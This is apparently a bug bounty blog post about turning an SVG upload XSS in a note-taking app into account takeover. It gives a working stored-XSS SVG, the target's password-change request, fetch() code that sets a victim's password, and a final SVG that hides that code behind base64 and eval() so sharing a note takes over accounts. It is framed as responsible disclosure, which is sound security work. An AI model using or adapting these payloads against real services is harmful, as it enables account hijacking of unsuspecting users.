How I got Account Take Over in a Bug Bounty Program
Hello everyone,
My ID is HirokiSawada, a bug bounty hunter from China.
This is my first bug bounty article and I want to share a account takeover (ATO) vulnerabilities through Cross-Site Scripting (XSS) that I discovered over the past half year. Let’s get started!
# SVG XSS
A few months ago, I was using a note-taking app to write some notes. Suddenly, I realized that you could upload
SVGs as background images for your notes. Hmph, it looks like I stumbled upon a vulnerability!
I uploaded this SVG with the following payload…
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert('Hiroki_Sawada');
</script>
</svg>
I clicked on the SVG link and boom! A prompt appeared. Talk about getting lucky with vulns like that!
Then I thought like a hacker, ‘How can I exploit this?’ (As we all know, not exploiting an XSS is like wasting an XSS)
# Exploit
> I started experimenting with the features, and I found that accounts created directly with Google email didn’t have passwords. So I thought to myself, ‘Hmm, can I change the password?’
The POST request for changing the password looked like this...
POST /api/v3/setPassword HTTP/1.1
Host: www.xxxx.com
Accept: */*
Accept-Language: zh
Accept-Encoding: gzip, deflate, br
Referer: https://www.xxxx.com/
Content-Type: application/json
Content-Length: 63
Origin: https://www.xxxx.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive
{"newPassword":"hacker.hirokisawada"}
- I initially thought of using CSRF, but that didn’t seem to be the case since they were validating the Origin and Referer headers, yet not including a csrf token in the request. So I went ahead and wrote some code to…
const url = 'https://www.xxxx.com/api/v3/setPassword';
const data = { newPassword: 'hacker.hirokisawada' };
fetch(url, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(data),
})
.then((response) => response.json())
.then((result) => {
console.log(result);
})
.catch((error) => {
console.error('Error:', error);
});
We can base64 encode this JavaScript code (I usually add it directly, but you can do it either way) and add it to a SVG.
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
eval(atob('Y29uc3QgdXJsID0gJ2h0dHBzOi8vd3d3Lnh4eHguY29tL2FwaS92My9zZXRQYXNzd29yZCc7CmNvbnN0IGRhdGEgPSB7IG5ld1Bhc3N3b3JkOiAnaGFja2VyLmhpcm9raXNhd2FkYScgfTsKCmZldGNoKHVybCwgewogIG1ldGhvZDogJ1BPU1QnLAogIGhlYWRlcnM6IHsKICAgICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24vanNvbicsCiAgfSwKICBib2R5OiBKU09OLnN0cmluZ2lmeShkYXRhKSwKfSkKICAudGhlbigocmVzcG9uc2UpID0+IHJlc3BvbnNlLmpzb24oKSkKICAudGhlbigocmVzdWx0KSA9PiB7CiAgICBjb25zb2xlLmxvZyhyZXN1bHQpOwogIH0pCiAgLmNhdGNoKChlcnJvcikgPT4gewogICAgY29uc29sZS5lcnJvcignRXJyb3I6JywgZXJyb3IpOwogIH0pOw=='));
</script>
</svg>
Now we can upload this malicious SVG to the background, and by sharing our notes with others, we’ll be able to take control of their accounts !!!!